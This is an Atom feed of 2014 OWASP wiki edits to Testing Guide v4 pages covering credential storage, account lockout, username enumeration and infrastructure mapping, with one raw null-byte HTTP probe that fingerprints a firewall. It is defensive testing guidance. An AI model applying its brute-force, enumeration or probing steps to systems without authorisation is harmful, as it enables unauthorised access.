== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
* Enter a username and password in the target authentication portal and determine whether the browser asks the user whether they want the password remembered.&lt;br /&gt;
* View the authentication portal's HTML source code and look for the autocomplete=&amp;quot;off&amp;quot; attribute in the password form field. The code for this will usually be along the following lines:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;INPUT TYPE=&amp;quot;password&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* Also look for passwords being stored in a cookie. Examine the cookies stored by the application. Verify that the credentials are not stored in cleartext, but are hashed. Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable. Additionally, verify that the credentials are only sent during the login phase, and not sent together with every request to the application.  &lt;br /&gt;
* Also look for other areas where a password may be entered, e.g. a Change Password form.&lt;br /&gt;
* Also consider other sensitive form fields (e.g. an answer to a secret question, used for Forgotten Password forms).&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Any fields that contain sensitive information and passwords should be flagged in the HTML with AUTOCOMPLETE=”off”.&lt;br /&gt;
Moreover no credentials have to be stored, in cleartext, into cookies.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)&amp;diff=169629</id>
		<title>Testing for Weak lock out mechanism (OTG-AUTHN-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)&amp;diff=169629"/>
				<updated>2014-03-07T12:18:34Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Account lockout mechanisms are used to mitigate against brute force password guessing attacks. Accounts are typically locked out after 3 to 5 unsuccessful login attempts and can only be unlocked after a predetermined period of time, via a self-service unlock mechanism, or intervention by an administrator. Account lockout mechanisms require a balance between protecting accounts from unauthorized access and protecting users from being denied authorized access.&amp;lt;br&amp;gt;&lt;br /&gt;
Note that this test should cover all aspects of authentication where lock out mechanisms would be appropriate, e.g. when the user is presented with security questions during forgotten password mechanisms (see [[Testing for Weak security question/answer (OTG-AUTHN-008)]]).&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Without a strong lock out mechanism, the application may be susceptible to brute force attacks. After a successful brute force attack, a malicious user could have access to:&lt;br /&gt;
&lt;br /&gt;
* Confidential information / data;&lt;br /&gt;
** Private sections of a web application could disclose confidential documents, users' profile data, financial status, bank details, users' relationships, etc.&lt;br /&gt;
	&lt;br /&gt;
* Administration panels;&lt;br /&gt;
** These sections are used by webmasters to manage (modify, delete, add) web application content, manage user provisioning, assign different privileges to the users, etc.&lt;br /&gt;
&lt;br /&gt;
* Availability of further attack vectors;&lt;br /&gt;
** Private sections of a web application could hide dangerous vulnerabilities and contain advanced functionalities not available to public users.&lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Evaluate the account lockout mechanism's ability to mitigate brute force password guessing.&lt;br /&gt;
&lt;br /&gt;
Evaluate the reactivation mechanism's resistance to unauthorized account re-activation.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Typically, to test the strength of lockout mechanisms, you will need access to an account that you are willing to lock out.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
To evaluate the account lockout mechanism's ability to mitigate brute force password guessing, attempt an invalid login by using the incorrect password a number of times, before using the correct password to verify that the account was locked out. An example test may be as follows:&lt;br /&gt;
# Attempt to login with an incorrect password 3 times.&lt;br /&gt;
# Successfully login with the correct password, thereby showing that the lockout mechanism doesn't trigger after 3 incorrect authentication attempts.&lt;br /&gt;
# Attempt to login with an incorrect password 4 times.&lt;br /&gt;
# Successfully login with the correct password, thereby showing that the lockout mechanism doesn't trigger after 4 incorrect authentication attempts.&lt;br /&gt;
# Attempt to login with an incorrect password 5 times.&lt;br /&gt;
# Attempt to login with the correct password. The application returns &amp;quot;Your account is locked out.&amp;quot;, thereby confirming that the account is locked out after 5 incorrect authentication attempts.&lt;br /&gt;
# Attempt to login with the correct password 5 minutes later. The application returns &amp;quot;Your account is locked out.&amp;quot;, thereby showing that the lockout mechanism does not automatically unlock after 5 minutes.&lt;br /&gt;
# Attempt to login with the correct password 10 minutes later. The application returns &amp;quot;Your account is locked out.&amp;quot;, thereby showing that the lockout mechanism does not automatically unlock after 10 minutes.&lt;br /&gt;
# Successfully login with the correct password 15 minutes later, thereby showing that the lockout mechanism automatically unlocks after a 10 to 15 minute period.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
A CAPTCHA may hinder brute force attacks, but they can come with their own set of weaknesses (see [[Testing_for_Captcha_(OWASP-AT-012)|Testing for CAPTCHA]]), and should not replace a lockout mechanism.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
To evaluate the reactivation mechanism's resistance to unauthorized account reactivation, initiate the reactivation mechanism and look for weaknesses. Typical reactivation mechanisms may involve secret questions/answers, or an emailed reactivation link. The reactivation link should be a unique one-time link, to stop an attacker from guessing or replaying the link and performing brute force attacks in batches. Secret questions and answers should be strong (see [[Testing_for_Weak_security_question/answer_(OTG-AUTHN-008)|Testing for Weak Security Question/Answer]]).&amp;lt;br&amp;gt;&lt;br /&gt;
Note that a reactivation mechanism is simply for unlocking accounts. It is not the same as a password recovery mechanism.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Factors to consider when implementing an account lockout mechanism:&lt;br /&gt;
&lt;br /&gt;
# What is the risk of brute force password guessing against the application?&lt;br /&gt;
# Is a CAPTCHA sufficient to mitigate this risk?&lt;br /&gt;
# Number of unsuccessful login attempts before lockout. Too few, and valid users may trigger the lockout too often. Too few, and the more attempts an attacker can make to brute force the account. Depending on the application function, a range of 5 to 10 unsuccessful attempts is typical.&lt;br /&gt;
# How will accounts be unlocked?&lt;br /&gt;
## Manually by an administrator. This is the most secure lockout method, but may cause inconvenience to users and take up the administrator's &amp;quot;valuable&amp;quot; time.&lt;br /&gt;
## After a period of time. What is the lockout period? Is this sufficient for the application being protected? e.g. a 5 minute lockout period may be a good compromise between mitigating brute force attacks and inconveniencing valid users.&lt;br /&gt;
## Via a self-service mechanism. Is this mechanism secure?&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Apply account reactivation mechanisms depending on the risk level. In order from lowest to highest assurance:&lt;br /&gt;
&lt;br /&gt;
# Time-based lockout and reactivation&lt;br /&gt;
# Self-service reactivation (sends reactivation email to registered email address)&lt;br /&gt;
# Manual administrator reactivation&lt;br /&gt;
# Manual administrator reactivation with positive user identification&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005)&amp;diff=169628</id>
		<title>Testing for Weak or unenforced username policy (OTG-IDENT-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005)&amp;diff=169628"/>
				<updated>2014-03-07T12:17:55Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
User account names are often highly structured (e.g. Joe Bloggs account name is jbloggs and Fred Nurks account name is fnurks) and valid account names can easily be guessed. &lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Determine whether consistent account name structure renders the application vulnerable to account enumeration&lt;br /&gt;
&lt;br /&gt;
Determine whether application's error messages permit account enumeration&lt;br /&gt;
&lt;br /&gt;
== How to test ==&lt;br /&gt;
&lt;br /&gt;
Determine the structure of account names&lt;br /&gt;
&lt;br /&gt;
Evaluate the application's response to valid and invalid account names &lt;br /&gt;
&lt;br /&gt;
Use different responses to valid and invalid account names to enumerate valid account names&lt;br /&gt;
&lt;br /&gt;
Use account name dictionaries to enumerate valid account names&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
Ensure the application returns consistent generic error messages in response to invalid account name, password or other user credentials entered during the login process.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)&amp;diff=169627</id>
		<title>Test Network/Infrastructure Configuration (OTG-CONFIG-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)&amp;diff=169627"/>
				<updated>2014-03-07T12:07:58Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: Map and Test phases divided&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.&lt;br /&gt;
In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server.&lt;br /&gt;
In order to address these problems, it is of utmost importance, after having mapped the entire architecture, to perform an in-depth review of configuration and known security issues.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.&lt;br /&gt;
&lt;br /&gt;
For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.&lt;br /&gt;
&lt;br /&gt;
In order to test the configuration management infrastructure, the following steps need to be taken:&lt;br /&gt;
&lt;br /&gt;
* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.&lt;br /&gt;
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t hold any known vulnerabilities.&lt;br /&gt;
* A review needs to be made of the administrative tools used to maintain all the different elements.&lt;br /&gt;
* The authentication systems, if any, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.&lt;br /&gt;
* A list of defined ports which are required for the application should be maintained and kept under change control.&lt;br /&gt;
&lt;br /&gt;
After having mapped the different elements that make up the infrastructure (see [[Map_Network_and_Application_Architecture_(OTG-INFO-012)|Map Network and Application Architecture]]) it is possible to review the configuration of each element founded and test for any known vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing and examples==&lt;br /&gt;
&lt;br /&gt;
===Known server vulnerabilities===&lt;br /&gt;
Vulnerabilities found in the different elements that make up the application architecture, be it the web server or the database backend, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server, or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the backend servers, as its application code would be run just like any other application.&lt;br /&gt;
&lt;br /&gt;
Reviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool; however, the testing of some vulnerabilities can have unpredictable results to the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful. Also, some automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives: on one hand, if the web server version has been removed or obscured by the local site administrator, the scan tool will not flag the server as vulnerable even if it is; on the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed in it, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common in some operating system vendors that do backport patches of security vulnerabilities to the software they provide in the operating system but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication backends, the database backends, or reverse proxies in use.&lt;br /&gt;
&lt;br /&gt;
Finally, not all software vendors disclose vulnerabilities in a public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases[2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.&lt;br /&gt;
&lt;br /&gt;
This is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested in order to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.&lt;br /&gt;
&lt;br /&gt;
It is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes  available with new software releases. Different vendors will have different release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable (as it is unsupported). Even in the event that they are aware that the vulnerability is present and the system is, indeed, vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be recoded due to incompatibilities with the latest software version.&lt;br /&gt;
&lt;br /&gt;
===Administrative tools===&lt;br /&gt;
&lt;br /&gt;
Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application: static content (web pages, graphic files), application source code, user authentication databases, etc. Depending on the site, technology, or software used, administrative tools will differ. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). In most cases, however, the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).&lt;br /&gt;
&lt;br /&gt;
After having mapped the administrative interfaces used to manage the different parts of the architecture it is important to review them since if an attacker gains access to any of them he can then compromise or damage the application architecture. Thus it is important to:&lt;br /&gt;
&lt;br /&gt;
* If available from the Internet, determine the mechanisms that control access to these interfaces and their associated susceptibilities.&lt;br /&gt;
* Change the default user and password.&lt;br /&gt;
&lt;br /&gt;
Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.&lt;br /&gt;
* [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).&lt;br /&gt;
* [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Map_Application_Architecture_(OTG-INFO-010)&amp;diff=169626</id>
		<title>Map Application Architecture (OTG-INFO-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Map_Application_Architecture_(OTG-INFO-010)&amp;diff=169626"/>
				<updated>2014-03-07T12:06:29Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: Map and Test phases divided&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.&lt;br /&gt;
In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server.&lt;br /&gt;
In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues.&lt;br /&gt;
Before performing an in-depth review it is necessary to map the network and application architecture.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.&lt;br /&gt;
&lt;br /&gt;
For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.&lt;br /&gt;
&lt;br /&gt;
In order to test the configuration management infrastructure, the following steps need to be taken:&lt;br /&gt;
&lt;br /&gt;
* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.&lt;br /&gt;
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t hold any known vulnerabilities.&lt;br /&gt;
* A review needs to be made of the administrative tools used to maintain all the different elements.&lt;br /&gt;
* The authentication systems, if any, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.&lt;br /&gt;
* A list of defined ports which are required for the application should be maintained and kept under change control.&lt;br /&gt;
&lt;br /&gt;
In this chapter it is going to be shown how it is possible to map different elements that make up the infrastructure.&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing and examples==&lt;br /&gt;
&lt;br /&gt;
===Map the application architecture===&lt;br /&gt;
&lt;br /&gt;
The application architecture needs to be mapped through some test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps also the authentication mechanism. On more complex setups, such as an online bank system, multiple servers might be involved including: a reverse proxy, a front-end web server, an application server and a database server or LDAP server. Each of these servers will be used for different purposes and might be even be divided in different networks with firewalling devices between them, creating different DMZs so that access to the web server will not grant a remote user access to the authentication mechanism itself, and so that compromises of the different elements of the architecture can be isolated in a way such that they will not compromise the whole architecture.&lt;br /&gt;
&lt;br /&gt;
Getting knowledge of the application architecture can be easy if this information is provided to the testing team by the application developers in document form or through interviews, but can also prove to be very difficult if doing a blind penetration test.&lt;br /&gt;
&lt;br /&gt;
In the latter case, a tester will first start with the assumption that there is a simple setup (a single server) and will, through the information retrieved from other tests, derive the different elements and question this assumption that the architecture will be extended. The tester will start by asking simple questions such as: “Is there a firewalling system protecting the web server?” which will be answered based on the results of network scans targeted at the web server and the analysis of whether the network ports of the web server are being filtered in the network edge (no answer or ICMP unreachables are received) or if the server is directly connected to the Internet (i.e. returns RST packets for all non-listening ports). This analysis can be enhanced in order to determine the type of firewall system used based on network packet tests: is it a stateful firewall or is it an access list filter on a router? How is it configured? Can it be bypassed? &lt;br /&gt;
&lt;br /&gt;
Detecting a reverse proxy in front of the web server needs to be done by the analysis of the web server banner, which might directly disclose the existence of a reverse proxy (for example, if ‘WebSEAL’[1]  is returned). It can also be determined by obtaining the answers given by the web server to requests and comparing them to the expected answers. For example, some reverse proxies act as “intrusion prevention systems” (or web-shields) by blocking known attacks targeted at the web server. If the web server is known to answer with a 404 message to a request which targets an unavailable page and returns a different error message for some common web attacks like those done by CGI scanners, it might be an indication of a reverse proxy (or an application-level firewall) which is filtering the requests and returning a different error page than the one expected. Another example: if the web server returns a set of available HTTP methods (including TRACE) but the expected methods return errors then there is probably something in between, blocking them. In some cases, even the protection system gives itself away:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /web-console/ServerInfo.jsp%00 HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.0 200&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 83&lt;br /&gt;
&lt;br /&gt;
&amp;lt;TITLE&amp;gt;Error&amp;lt;/TITLE&amp;gt;&lt;br /&gt;
&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;H1&amp;gt;Error&amp;lt;/H1&amp;gt;&lt;br /&gt;
FW-1 at XXXXXX: Access denied.&amp;lt;/BODY&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Example of the security server of Check Point Firewall-1 NG AI “protecting” a web server'''&lt;br /&gt;
&lt;br /&gt;
Reverse proxies can also be introduced as proxy-caches to accelerate the performance of back-end application servers. Detecting these proxies can be done based, again, on the server header or by timing requests that should be cached by the server and comparing the time taken to server the first request with subsequent requests.&lt;br /&gt;
&lt;br /&gt;
Another element that can be detected: network load balancers. Typically, these systems will balance a given TCP/IP port to multiple servers based on different algorithms (round-robin, web server load, number of requests, etc.). Thus, the detection of this architecture element needs to be done by examining multiple requests and comparing results in order to determine if the requests are going to the same or different web servers. For example, based on the Date: header if the server clocks are not synchronized. In some cases, the network load balance process might inject new information in the headers that will make it stand out distinctively, like the AlteonP cookie introduced by Nortel’s Alteon WebSystems load balancer.&lt;br /&gt;
&lt;br /&gt;
Application web servers are usually easy to detect. The request for several resources is handled by the application server itself (not the web server) and the response header will vary significantly (including different or additional values in the answer header). Another way to detect these is to see if the web server tries to set cookies which are indicative of an application web server being used (such as the JSESSIONID provided by some J2EE servers), or to rewrite URLs automatically to do session tracking.&lt;br /&gt;
&lt;br /&gt;
Authentication backends (such as LDAP directories, relational databases, or RADIUS servers) however, are not as easy to detect from an external point of view in an immediate way, since they will be hidden by the application itself.&lt;br /&gt;
&lt;br /&gt;
The use of a database backend can be determined simply by navigating an application. If there is highly dynamic content generated “on the fly,&amp;quot; it is probably being extracted from some sort of database by the application itself. Sometimes the way information is requested might give insight to the existence of a database back-end. For example, an online shopping application that uses numeric identifiers (‘id’) when browsing the different articles in the shop.  However, when doing a blind application test, knowledge of the underlying database is usually only available when a vulnerability surfaces in the application, such as poor exception handling or susceptibility to SQL injection.&lt;br /&gt;
&lt;br /&gt;
===Administrative tools===&lt;br /&gt;
&lt;br /&gt;
Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application: static content (web pages, graphic files), application source code, user authentication databases, etc. Depending on the site, technology, or software used, administrative tools will differ. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[2]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). In most cases, however, the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).&lt;br /&gt;
&lt;br /&gt;
Map of the administrative interfaces used to manage the different parts of the architecture is very important, since if an attacker gains access to any of them he can then compromise or damage the application architecture. Thus in this phase it is important to:&lt;br /&gt;
&lt;br /&gt;
* List all the possible administrative interfaces.&lt;br /&gt;
* Determine if administrative interfaces are available from an internal network or are also available from the Internet.&lt;br /&gt;
&lt;br /&gt;
Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.&lt;br /&gt;
* [2] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=169592</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=169592"/>
				<updated>2014-03-06T16:52:40Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 5th March 2014'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
'''2.4 Security requirements test derivation'''&lt;br /&gt;
&lt;br /&gt;
'''2.5 Security test data analysis and reporting: root cause identification and business/role case test data reporting'''&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
